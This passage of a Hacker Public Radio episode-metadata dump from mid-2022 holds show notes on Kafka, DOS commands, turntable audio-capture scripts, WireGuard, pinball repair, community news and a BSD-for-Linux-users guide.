                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"SimpleSSHD,SSH2,dropbear,android,lineageos,primitive ftpd","version":0,"downloads":0,"valid":1}, {"id":3639,"date":"2022-07-14","title":"Linux Inlaws S01E60: The Job Interview","duration":3262,"summary":"An interview with Kris Jenkins from Confluent","notes":"

                                                            \n\nIn this episode, the Linux Inlaws interview a potential new recruit :-) call Kris Jenkins, from Kafka, an Apache project implementing a scalable distributed event streaming platform (don't know what that is? Listen to the show! :-) . A cautious warning: This episode contains strong philosophical / political views, language and insights which may change your views on messaging systems in general and Kafka in particular. Two hints: Chris shares his view on what a database *really* is and Kris Jenkins tries hard to convince our two aging heroes that he's the man for the job (teaser: he decided to stay at his current position as a dev advocate at Confluent after all). Plus: More on love, death and robots. Interested in the details? Then don't miss this show! \n

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Kafka, Confluent, distributed event platforms, databases, Redis, Love, Death, Robots, Zookeeper","version":0,"downloads":0,"valid":1}, {"id":3640,"date":"2022-07-15","title":"Expert DIR use","duration":878,"summary":"We continue with DOS. This time it is mastering the DIR commands","notes":"

                                                            DIR can just be simple list of files and sub-directories, but you can so much more. We can use the information about Wildcards and Attributes to make DIR a kind of search function.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing, directory listing","version":0,"downloads":0,"valid":1}, {"id":3641,"date":"2022-07-18","title":"Turntable audio capture Part 2","duration":354,"summary":"I revise previous capture scripts","notes":"

                                                            Update to HPR 3507

                                                            \n

                                                            hpr3507 :: USB Turntable fix and sound journey

                                                            \n
                                                            record_capture_wav.sh\n#!/bin/bash\n\necho "Record name?"\nread record\necho "Which side is this?"\nread side\n\narecord --device='hw:CARD=CODEC,DEV=0' --rate=96000 --channels=2 --vumeter=stereo --duration=1500 --format=dat --file-type wav $record"_Side_"$side.wav\n
                                                            \n
                                                            record_capture_flac.sh\n#!/bin/bash\n\n echo "Record name"\n read record\n echo "Which side is this?"\n read side\n\narecord --device='hw:CARD=CODEC,DEV=0' --rate=96000 --channels=2 --vumeter=stereo --duration=1500 --format=dat --file-type wav - | flac - -o $record"_Side_"$side.flac
                                                            \n

                                                            Used hw:CARD=CODEC,DEV=0 derived from 'arecord -L'

                                                            \n

                                                            hw:CARD=CODEC,DEV=0 USB Audio CODEC, USB Audio Direct hardware device without any conversions

                                                            \n

                                                            arecord manpage

                                                            \n
                                                            ...\n\n-f --format=FORMAT\n\n    Sample format\n    Recognized sample formats are: S8 U8 S16_LE S16_BE U16_LE U16_BE S24_LE S24_BE U24_LE U24_BE S32_LE S32_BE U32_LE U32_BE FLOAT_LE FLOAT_BE\n    FLOAT64_LE FLOAT64_BE IEC958_SUBFRAME_LE IEC958_SUBFRAME_BE MU_LAW A_LAW IMA_ADPCM MPEG GSM SPECIAL S24_3LE S24_3BE U24_3LE U24_3BE S20_3LE\n    S20_3BE U20_3LE U20_3BE S18_3LE S18_3BE U18_3LE\n\n    Some of these may not be available on selected hardware\n    The available format shortcuts are:\n\n    -f cd (16 bit little endian, 44100, stereo) [-f S16_LE -c2 -r44100]\n    -f cdr (16 bit big endian, 44100, stereo) [-f S16_BE -c2 -f44100]\n    -f dat (16 bit little endian, 48000, stereo) [-f S16_LE -c2 -r48000]\n\n    If no format is given U8 is used.\n\n-d, --duration=#\n    Interrupt after # seconds. A value of zero means infinity. The default is zero, so if this option is omitted then the arecord process will run until it is killed.\n\n-t, --file-type TYPE\n    File type (voc, wav, raw or au). If this parameter is omitted the WAVE format is used.\n\n...\n\n
                                                            \n

                                                            hpr2881 :: Automatically split album into tracks in Audacity

                                                            \n

                                                            Changes as of 5-20-2022

                                                            \n
                                                              \n
                                                            • Old way : Select the entire track and select Analyze > Silence Finder
                                                            • \n
                                                            • Update : Select the entire track and select Analyze > Label Sounds
                                                            • \n
                                                            \n

                                                            Label sounds menu
                                                            \n\"Label
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Silence detection options
                                                            \n\"Silence

                                                            \n

                                                            HowTo: Split MP3s by silence detection using mp3splt

                                                            \n

                                                            https://blog.dornea.nu/2012/04/01/howto-split-mp3s-by-silence-detection-using-mp3splt/

                                                            \n

                                                            mp3splt -s -p th=-40,min=6,rm

                                                            \n

                                                            Parameters explanation:

                                                            \n
                                                            '-s': silence mode; activate silence detection\n'-p': specify arguments for the silence mode\n'th=-40': threshold level (dB) to be considered silence\n'min=6': minimum number of seconds to be considered as splitpoint\n'rm': remove silence from splitted files
                                                            \n

                                                            What worked for me

                                                            \n

                                                            mp3splt -s -p th=-30,min=0.5,rm $1

                                                            \n

                                                            Fix tracks not splitting

                                                            \n
                                                              \n
                                                            • Manually seek the silence in mplayer/mpv
                                                            • \n
                                                            • Note the silent areas
                                                            • \n
                                                            • Cut with ffmpeg ie.\n
                                                                \n
                                                              • ffmpeg -i track.flac -ss 00:03:05 -to 00:06:00 -acodec copy track-cut1.flac
                                                              • \n
                                                            • \n
                                                            \n

                                                            References

                                                            \n

                                                            How to rip vinyl in Manjaro
                                                            \nhttps://forum.manjaro.org/t/howto-rip-vinyl-lps-in-manjaro/83300

                                                            \n

                                                            mp3splt
                                                            \nhttps://mp3splt.sourceforge.net

                                                            \n
                                                            Man pages
                                                            \n

                                                            https://mp3splt.sourceforge.net/mp3splt_page/documentation/man.html

                                                            \n

                                                            https://manpages.ubuntu.com/manpages/xenial/en/man1/mp3splt.1.html

                                                            \n
                                                            Youtube downloader
                                                            \n

                                                            https://ytgram.com/en/youtube-video-downloader

                                                            \n

                                                            Screen capture of youtube link download on YTGram
                                                            \n\"Screen
                                                            Click the thumbnail to see the full-sized image

                                                            \n
                                                            Sample album
                                                            \n

                                                            J̲o̲urney - D̲eparture̲ (Full Album) 1980
                                                            \n
                                                            \nhttps://www.youtube.com/watch?v=eoG9U8n0dWo

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"audio, capture, vinyl, audacity, mp3splt, arecord, ffmpeg, wav, flac","version":0,"downloads":0,"valid":1}, {"id":3642,"date":"2022-07-19","title":"Interview with a Hacker: Vitaliy","duration":5954,"summary":"We go back ... WAY BACK to golden days of hacking","notes":"

                                                            Lost interview I never uploaded!

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"interviews,hacking,pentesting","version":0,"downloads":0,"valid":1}, {"id":3643,"date":"2022-07-20","title":"My computing history and the software I use","duration":3345,"summary":"Rambling about my computing history and tech stack. ","notes":"

                                                            I introduce myself by describing my computing history and tech stack. Disjointed rambling and tangentially related thoughts ensue.

                                                            \n","hostid":406,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"UNIX, Linux, first show, BSD, Android","version":0,"downloads":0,"valid":1}, {"id":3644,"date":"2022-07-21","title":"Pinball Machine Repair Tips","duration":1483,"summary":"As a first show, I introduce myself and show some repairability tips for 90s pinball machines","notes":"

                                                            After the introduction, as this is my first show, i tell you how i got my current Pinball machine, an \"Indiana Jones, the Pinball adventure\" from Williams.

                                                            \n

                                                            I suggest tips to anyone trying to repair one, or simply to curious people out there.

                                                            \n","hostid":407,"series":103,"explicit":1,"license":"CC-BY-SA","tags":"first show,pinball,repair,electronics,90s","version":0,"downloads":0,"valid":1}, {"id":3645,"date":"2022-07-22","title":"How to set up a small Linux Wireguard VPN","duration":855,"summary":"I set up a small VPN and wrote a blog post about it. This is just an audiorecording of that","notes":"

                                                            The blogpost where I describe how to set up a Wireguard VPN network:
                                                            \nhttps://www.jeroenbaten.nl/the-complete-guide-to-setting-up-a-multi-peer-wireguard-vpn/

                                                            \n","hostid":369,"series":61,"explicit":0,"license":"CC-BY-SA","tags":"wireguard,linux, vpn","version":0,"downloads":0,"valid":1}, {"id":3646,"date":"2022-07-25","title":"arm, slackware, forth oh my!","duration":834,"summary":"a description of a laptop ","notes":"

                                                            Image 1
                                                            \n\"Image

                                                            \n

                                                            Image 2
                                                            \n\"Image

                                                            \n

                                                            Image 3
                                                            \n\"Image

                                                            \n

                                                            pi-top the company

                                                            \n
                                                              \n
                                                            • make educational products using the rasp-pi
                                                            • \n
                                                            • uk based company 24 million $ funding 3 employees
                                                            • \n
                                                            • products\n
                                                                \n
                                                              • pitop ceed
                                                              • \n
                                                              • pitop 2 laptop
                                                              • \n
                                                              • pitop 3 laptop
                                                              • \n
                                                              • pitop 4 case+ for rpi4
                                                              • \n
                                                              • robot kit, etc
                                                              • \n
                                                            • \n
                                                            \n

                                                            my pi-top 3

                                                            \n
                                                              \n
                                                            • had a pi-top 2, keyboard was bad, battery was worse
                                                            • \n
                                                            • ebay purchase pi-top 3, wanted to try new form factor and see if the battery was better
                                                            • \n
                                                            • came with experimentor kit, included a slide in solderless breadboard, and an rpi!
                                                            • \n
                                                            • description
                                                            • \n
                                                            • modifications\n
                                                                \n
                                                              • slackware install,lost some of the built in scripts that monitored the system, especially battery monitoring
                                                              • \n
                                                              • added a daughter board with an atmega328 running forth to do the battery monitoring
                                                              • \n
                                                              • added an rtc ds1307, installed via instructions from the sarpi website
                                                              • \n
                                                            • \n
                                                            • pluses\n
                                                                \n
                                                              • better keyboard, with better mechanical design
                                                              • \n
                                                              • better battery life, charging great
                                                              • \n
                                                              • better screen
                                                              • \n
                                                            • \n
                                                            • minuses\n
                                                                \n
                                                              • charging board seems closed source, that would be the keys to the kingdom
                                                              • \n
                                                              • old software hard to come by
                                                              • \n
                                                              • stuck in rpi3 form factor
                                                              • \n
                                                            • \n
                                                            • plans\n
                                                                \n
                                                              • +upgrade to slackware 15-64 bit+
                                                              • \n
                                                              • leave the rpi and go to a pineboard
                                                              • \n
                                                              • reverse engineer charging board?
                                                              • \n
                                                              • easier to modify case to accept new hardware
                                                              • \n
                                                            • \n
                                                            \n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"raspberry pi, hardware","version":0,"downloads":0,"valid":1}, {"id":3647,"date":"2022-07-26","title":"Weekend projects","duration":1004,"summary":"Rho`n rambles about some weekend projects","notes":"

                                                            Synopsis

                                                            \n\n

                                                            In this episode, Rho`n rambles about some recent weekend repair projects. The main focus of this episode is fixing a bent patio table umbrella pole, along with his attempts to fix a punctured basketball. There are some successes, some failures, and some side stories along the way.

                                                            \n\n
                                                            \n
                                                            \n\t\"Initial\n\t
                                                            \n
                                                            Intial fix using 1.25\" dowel rod and wood screws.
                                                            \n
                                                            \n
                                                            \n \"Fixed\n\t
                                                            \n
                                                            Fixed pole with epoxy resin wrap.
                                                            \n
                                                            \n
                                                            \n \"Fixed\n\t
                                                            \n
                                                            Fixed pole in regular position.
                                                            \n
                                                            \n
                                                            \n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"diy, repairs, umbrella, basketball","version":0,"downloads":0,"valid":1}, {"id":3648,"date":"2022-07-27","title":"A response to tomorrows show","duration":1682,"summary":"Ken brings the DeLorean up to 141.6Kph to address monochromec's comment on stats","notes":"
                                                            \n

                                                            \nCounter Point\n

                                                            \n

                                                            \nThis show is a counter point to: hpr3649 :: Linux Inlaws S01E61: 20 years in review\n

                                                            \n
                                                            \n

                                                            There are three kinds of lies: Lies, damned lies, and statistics

                                                            \n

                                                            In today's show we discover that Hacker Public Radio is not a Podcast Hosting Platform.

                                                            \n

                                                            Each day your show will be heard by as many people as can squeeze into the main auditorium at FOSDEM, or between two and three Airbus A380-800. You know the big double decker passenger plane. Every month we have on average 33,584 downloads, that's about 40 fully loaded Airbus A380-800.

                                                            \n

                                                            \"\"

                                                            \n

                                                            Podcast \"Hosting\" Sites, like Spotify, Apple Podcast or Google Podcasts, etc. do not host the media, they are essentially monetizing Hacker Public Radio content. And we are all absolutely fine with that because our shows are released under a Creative Commons Attribution-ShareAlike 3.0 Unported license.

                                                            \n

                                                            \"actual_hpr_downloads\"

                                                            \n

                                                            Every one of those dots is a download that is not without cost, but is provided entirely free of charge to us by our kind hosting Provider AnHonestHost.com and the volunteer project the Internet Archive. Both of which donates terabytes of storage and data transfer to us for free.

                                                            \n

                                                            The people to thank are our own Josh Knapp over at AnHonestHost.com, who provides the Hacker Public Radio web site.

                                                            \n

                                                            And the Internet Archive which is an American digital library with the stated mission of \"universal access to all knowledge\", who provide hosting for the media.

                                                            \n

                                                            \nFor more details, see the full show notes.\n

                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"statistics,syndication,reality","version":0,"downloads":0,"valid":1}, {"id":3649,"date":"2022-07-28","title":"Linux Inlaws S01E61: 20 years in review","duration":4319,"summary":"The last 20 years in review","notes":"
                                                            \n

                                                            Counter Point

                                                            \n

                                                            A counter point to this show is available: hpr3648 :: A response to tomorrows show\n

                                                            \n
                                                            \n

                                                            In this episode, Martin and Chris take a closer look at twenty years of Linux Inlaws\nhistory. Why, you may ask, given the fact that this podcast has only been in existence\nfor roughly over two years, are we reviewing this history? The answer - of course - is\nstraight forward: by sheer coincidence our two heroes got hold of a future episode\nwhich traveled back in time from the future. If you ever wondered about time-travel,\nthe paradoxes associated with this and what the next twenty years have in store not\njust from a Linux Inlaws perspective, this episode is for you.

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Time-travel, DeLorean, D-Wave, Hello! Magazine, Calico Labs","version":0,"downloads":0,"valid":1}, {"id":3650,"date":"2022-07-29","title":"Major Destinations","duration":910,"summary":"Building a plan around major destinations, and using memberships to get discounted stays.","notes":"

                                                            We continue our look at the planning process by looking at how to build a plan around major destinations, and add memberships that give discounted stays like Escapees and Passport America.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"Travel, trip planning, Google Maps, Escapees, Passport America","version":0,"downloads":0,"valid":1}, {"id":3651,"date":"2022-08-01","title":"HPR Community News for July 2022","duration":2963,"summary":"HPR Volunteers talk about shows released and comments posted in July 2022","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n binrc, \n Celeste.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3630Fri2022-07-01Planning an RV TripAhuka
                                                            3631Mon2022-07-04HPR Community News for June 2022HPR Volunteers
                                                            3632Tue2022-07-05Intro to web scraping with PythonKlaatu
                                                            3633Wed2022-07-06The collective history of RAID controller brandsJWP
                                                            3634Thu2022-07-07Everything You Always Wanted to Know About PEX Part 05 - PEX and the Single InstallerTrey
                                                            3635Fri2022-07-08A short podcast on a nice tool called system-monitoring-centerJeroen Baten
                                                            3636Mon2022-07-11The Importance of Data ReductionLurking Prion
                                                            3637Tue2022-07-12HPR feed to Sqlitenorrist
                                                            3638Wed2022-07-13Ken drops a bear on his android phoneKen Fallon
                                                            3639Thu2022-07-14Linux Inlaws S01E60: The Job Interviewmonochromec
                                                            3640Fri2022-07-15Expert DIR useAhuka
                                                            3641Mon2022-07-18Turntable audio capture Part 2Archer72
                                                            3642Tue2022-07-19Interview with a Hacker: Vitaliyoperat0r
                                                            3643Wed2022-07-20My computing history and the software I usebinrc
                                                            3644Thu2022-07-21Pinball Machine Repair TipsCeleste
                                                            3645Fri2022-07-22How to set up a small Linux Wireguard VPNJeroen Baten
                                                            3646Mon2022-07-25arm, slackware, forth oh my!Brian in Ohio
                                                            3647Tue2022-07-26Weekend projectsRho`n
                                                            3648Wed2022-07-27A response to tomorrows showKen Fallon
                                                            3649Thu2022-07-28Linux Inlaws S01E61: 20 years in reviewmonochromec
                                                            3650Fri2022-07-29Major DestinationsAhuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 18 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 2 comments on\n2 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3226\n(2020-12-14) \"Using taskwarrior to structurize your work\"\nby Jeroen Baten.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\ndnt on 2022-07-09:\n\"the urgency\"

                                                              \n
                                                            • hpr3627\n(2022-06-28) \"Only Key Duo\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\noperat0r on 2022-07-06:\n\"Installer Changed ...\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 16 comments on 9 of this month's shows:

                                                            \n
                                                            • hpr3630\n(2022-07-01) \"Planning an RV Trip\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2022-07-05:\n\"enjoyed the show\"
                                                              • Comment 2:\nKevin O'Brien on 2022-07-06:\n\"Photos\"

                                                              \n
                                                            • hpr3632\n(2022-07-05) \"Intro to web scraping with Python\"\nby Klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-07-08:\n\"Thank you\"

                                                              \n
                                                            • hpr3634\n(2022-07-07) \"Everything You Always Wanted to Know About PEX Part 05 - PEX and the Single Installer\"\nby Trey.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndnt on 2022-07-09:\n\"a hacker's plumbing system\"

                                                              \n
                                                            • hpr3637\n(2022-07-12) \"HPR feed to Sqlite\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2022-07-20:\n\"Daily Database Dump in SQL Format\"

                                                              \n
                                                            • hpr3642\n(2022-07-19) \"Interview with a Hacker: Vitaliy\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2022-07-20:\n\"Great show\"

                                                              \n
                                                            • hpr3643\n(2022-07-20) \"My computing history and the software I use\"\nby binrc.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nArcher72 on 2022-07-08:\n\"First show\"
                                                              • Comment 2:\nnorrist on 2022-07-20:\n\"Plan9\"
                                                              • Comment 3:\nDave Morriss on 2022-07-20:\n\"An excellent first show\"
                                                              • Comment 4:\nbrian-in-ohio on 2022-07-24:\n\"future show\"

                                                              \n
                                                            • hpr3644\n(2022-07-21) \"Pinball Machine Repair Tips\"\nby Celeste.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nArcher72 on 2022-07-16:\n\"Pinball machines and English\"
                                                              • Comment 2:\nTrey on 2022-07-21:\n\"Welcome!\"
                                                              • Comment 3:\nbrian-in-ohio on 2022-07-24:\n\"soundscape\"

                                                              \n
                                                            • hpr3648\n(2022-07-27) \"A response to tomorrows show\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nLongTimeLurker on 2022-07-27:\n\"Known Unknowns\"
                                                              • Comment 2:\nE-/-y on 2022-07-28:\n\"Only the Interviews\"

                                                              \n
                                                            • hpr3649\n(2022-07-28) \"Linux Inlaws S01E61: 20 years in review\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2022-06-24:\n\"response show\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-July/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Olly Clark

                                                            \n

                                                            The UK Tech community has been saddened to hear of the death of Oliver (Olly) Clark, a well known presence at OggCamp, Barcamp and Raspberry Pi meetings. He apparently died in November 2021 as a consequence of COVID-19. His family did not know who to contact in the wider community, so this news only became apparent recently.

                                                            \n\n

                                                            Older HPR shows on archive.org, phase 2

                                                            \n

                                                            Now that all shows from number 1 to the latest have been uploaded to the Internet Archive there are other tasks to perform. We are reprocessing and re-uploading shows in the range 871 to 2429 as explained in the Community News show notes released in May 2022. We are keeping a running total here to show progress:

                                                            \n
                                                              \n
                                                            • Re-uploads done so far: 576
                                                            • \n
                                                            • Shows remaining to be done: 983
                                                            • \n
                                                            • Shows uploaded by last Community News recording: 431
                                                            • \n
                                                            • Shows added since last recording: 145
                                                            • \n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3652,"date":"2022-08-02","title":"Registered memory","duration":690,"summary":"Not to be confused with ECC memory, although memory modules often use both technologies.","notes":"

                                                            https://en.wikipedia.org/wiki/Registered_memory

                                                            \n

                                                            https://www.futureplus.com/ddr4-3ds-dimms-the-next-big-thing-in-the-data-center/

                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"R-Dimm,DD4,3DS","version":0,"downloads":0,"valid":1}, {"id":3653,"date":"2022-08-03","title":"Hello HPR Community","duration":53,"summary":"Introducing myself to the HPR community","notes":"

                                                            Long time listener, first time caller...

                                                            \n","hostid":408,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Introductions","version":0,"downloads":0,"valid":1}, {"id":3654,"date":"2022-08-04","title":"Use the data in the Ogg feed to create a website.","duration":807,"summary":"How much of of site can I make using only the data from the feed?","notes":"

                                                            Make a website using the HPR RSS Feed

                                                            \n

                                                            Welcome to part II of my experiment in how much can be done with the data ion the HPR feed

                                                            \n

                                                            In my previous episode https://hackerpublicradio.org/eps.php?id=3637 I discussed taking the data from the HPR feed and stuffing the useful bits into a sqlite database.

                                                            \n

                                                            Today, Ill discuss some of my adventures generating a static site using the feed data

                                                            \n

                                                            Lessons learned

                                                            \n
                                                              \n
                                                            • Maybe skip DB step
                                                            • \n
                                                            • I tend to over use Markdown - sometimes HTML is Better
                                                            • \n
                                                            • So much content on HPR
                                                            • \n
                                                            \n

                                                            Tech

                                                            \n

                                                            My original intent was to create markdown files that could be feed into an existing static site generator, something like Hugo or Jekyll.

                                                            \n

                                                            I started with markdown but had to add too much html.

                                                            \n

                                                            I'm am a bit fan of using Markdown, but it did not fit this particular use case

                                                            \n\n

                                                            Feed as source of data

                                                            \n

                                                            I added some HTML for header footer

                                                            \n
                                                              \n
                                                            • Header\n
                                                                \n
                                                              • bootstrap CSS columns
                                                              • \n
                                                              • hpr logo
                                                              • \n
                                                            • \n
                                                            • footer\n
                                                                \n
                                                              • Links
                                                              • \n
                                                              • Copyright
                                                              • \n
                                                            • \n
                                                            \n

                                                            Pages

                                                            \n
                                                              \n
                                                            • Main page listing the most recent shows
                                                            • \n
                                                            • A page listing all shows
                                                            • \n
                                                            • Individual pages for each show
                                                            • \n
                                                            • A page listing all the hosts
                                                            • \n
                                                            • individual page for each host
                                                            • \n
                                                            \n

                                                            One thing I would like to see on the HPR page is a count of how many shows there are for each host. I have enough data, so I added show counts.

                                                            \n

                                                            Missing data

                                                            \n
                                                              \n
                                                            • host profiles - web page, avatars
                                                            • \n
                                                            • tags
                                                            • \n
                                                            • series
                                                            • \n
                                                            • Summary - The short 100 character summary of what your show is about
                                                            • \n
                                                            • License
                                                            • \n
                                                            • Other pages on the HPR site.\n
                                                                \n
                                                              • What you need to know
                                                              • \n
                                                              • How to help out
                                                              • \n
                                                              • Requested topics
                                                              • \n
                                                              • ...
                                                              • \n
                                                            • \n
                                                            \n

                                                            How does it work

                                                            \n
                                                              \n
                                                            • Peewee to read from sqlite file
                                                            • \n
                                                            • Python aggregates the appropriate data
                                                            • \n
                                                            • Jinja Templates for\n
                                                                \n
                                                              • index - passed data from most recent shows
                                                              • \n
                                                              • All shows
                                                              • \n
                                                              • host page
                                                              • \n
                                                              • corespondents - all host
                                                              • \n
                                                            • \n
                                                            \n

                                                            TODO

                                                            \n
                                                              \n
                                                            • Incorporate Comment feed
                                                            • \n
                                                            • Generate static copy of RSS feed.
                                                            • \n
                                                            • Copy content from HPR pages that are not in the RSS feed.
                                                            • \n
                                                            • Generate Tags from Keywords in the show notes.
                                                            • \n
                                                            • Only use the Full Feed on the first run.
                                                            • \n
                                                            \n

                                                            Links

                                                            \n\n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"python, rss, sqlite","version":0,"downloads":0,"valid":1}, {"id":3655,"date":"2022-08-05","title":"BSD for Linux users","duration":4073,"summary":"I attempt to explain the wacky and wonderful world of BSD in a Linux friendly way","notes":"

                                                            UNIX, Linux, and BSD

                                                            \n

                                                            Linux was created by PC users attempting to use mainframe UNIX. BSD was created by mainframe UNIX users attempting to use a PC.

                                                            \n

                                                            BSD is what I like to call a “Pedigree UNIX”, meaning that it is a pure blooded descendant of AT&T UNIX. Although all of the original AT&T code has been re-written so a permissive license, the heritage persists.

                                                            \n

                                                            In contrast to Linux (which shares no original Bell Labs code), BSD was originally all Labs code.

                                                            \n

                                                            BSD in the wild

                                                            \n

                                                            BSD style licensing is quite simple to understand compared to the tome that is the GPL. Interpreting it usually goes something like follows:

                                                            \n

                                                            Do whatever the hell you want with this code, just don’t blame me when it breaks something and don’t claim you wrote it

                                                            \n

                                                            Permissive licensing means that various companies can put lipstick on the UNIX pig and falsely assert that it’s anything other than lipstick on the UNIX pig. Not that UNIX is a pig, but you cannot disguise a pig with lipstick. Those burdened with the gift of sight and knowledge can spot a UNIX system quite easily.

                                                            \n
                                                              \n
                                                            • Apple software is basically stolen BSD
                                                            • \n
                                                            • Windows TCP/IP stack (and ftp/rcp/rsh/ssh/scp and other various non-trash networking protocols) is basically stolen BSD
                                                            • \n
                                                            • Sony PlayStation is basically stolen BSD
                                                            • \n
                                                            • Nintendo switch is basically stolen BSD
                                                            • \n
                                                            • a million others that I can’t be bothered to list because they’re either abandonware or are embedded in your e-toaster and internet enabled dishwasher so no one cares
                                                            • \n
                                                            \n

                                                            Interacting with BSD guys

                                                            \n

                                                            Most Linux enthusiasts are missionaries. They are generally helpful and seek to guide the computing neophyte into the inner circle of FSF initiates.

                                                            \n

                                                            The BSD guys tend to be like hermits. They don’t care if you use their code, they only care that the code works for them. When you ask for help, a typical response will be “did you even read the error logs?” or “did you even RTFM? What about supplemental documentation? We didn’t write TFM just so you could go online and ask something clearly documented in TFM.”

                                                            \n

                                                            Not all BSD guys are bitter, but you really should consult available resources before asking questions

                                                            \n

                                                            Forking vs distros

                                                            \n

                                                            In Linux land, all the distros are basically the same with varying coats of paint. We call these distributions because all “implementations” of linux are nearly identical code bases built with varying compile time options.

                                                            \n

                                                            In BSD land, distros don’t exist. Free/Net/Open are entirely independent and don’t share a common upstream. They are forks of primordial BSD that run separate kernels, separate userlands, etc. Although code is shared amongst each other, a statically linked binary can’t simply be dumped from one to another and still run as it would in Linux land.

                                                            \n

                                                            Meta-distos of FreeBSD do exist but they are short lived unless they have corporate backers.

                                                            \n

                                                            Idiot’s guide to picking a BSD

                                                            \n

                                                            I want basically Linux desktop out of the box but with a BSD kernel so I can look cool when I post a neofetch screenshot to the /g/ desktop thread!!

                                                            \n

                                                            Selecting a FreeBSD fork that comes with a desktop is your goto. The currently maintained desktop distros are HelloSystems, GhostBSD, NomadBSD, and MidnightBSD.

                                                            \n

                                                            I want a viable desktop operating system

                                                            \n

                                                            FreeBSD with a non-GNOME DE is fairly reliable. I’ve had success with KDE, XFCE, and various tiling window managers. GNOME is too reliant on systemd so the port is janky.

                                                            \n

                                                            I want something to learn by example with

                                                            \n

                                                            OpenBSD is a great learning platform. The source code for userland utils is simple, short, and generally free from OS specific function calls. RTFM goes by the wayside when you easily RTFSC.

                                                            \n

                                                            I want to prevent foot shooting incidents

                                                            \n

                                                            OpenBSD eliminates many foot shooting scenarios by being a thorn in the side of the user who wants to do stupid things

                                                            \n

                                                            I want to run UNIX to an obscure device

                                                            \n

                                                            OpenBSD runs on a lot of architectures: i386, amd64, arm64, arm7, alpha, sparc64, risc64, ppc64, etc. The devs self-host these ports (ie build the release on a physical processor instead of cross compiling). This means that the alpha port is actually built on a VAX machine, the sparc port is actually built on a sparc machine, etc.

                                                            \n

                                                            NetBSD runs on everything.

                                                            \n

                                                            I can’t decide!!! Pick one for me!!!

                                                            \n

                                                            Just go with FreeBSD. It feels a lot like old Debian.

                                                            \n

                                                            Hardware

                                                            \n

                                                            Lenovo Thinkpads are bulletproof. Buy something on ebay. Dell desktops generally work quite well. Intel components are most stable. You will suffer less if you can find a pure Intel machine. The biggest things to look for are an intel CPU, intel wireless chipset, intel integrated graphics, and an intel sticker. Vpro vs no vpro doesn’t seem to make a difference in my anecdotal experience.

                                                            \n

                                                            But what about a GPU????

                                                            \n

                                                            no.

                                                            \n

                                                            FreeBSD

                                                            \n

                                                            Goal: general purpose, easy to use operating system

                                                            \n

                                                            Use cases: server, desktop, NAS, hypervisor

                                                            \n

                                                            Features:

                                                            \n
                                                              \n
                                                            • Core OS\n
                                                                \n
                                                              • system feels clean and organized.\n
                                                                  \n
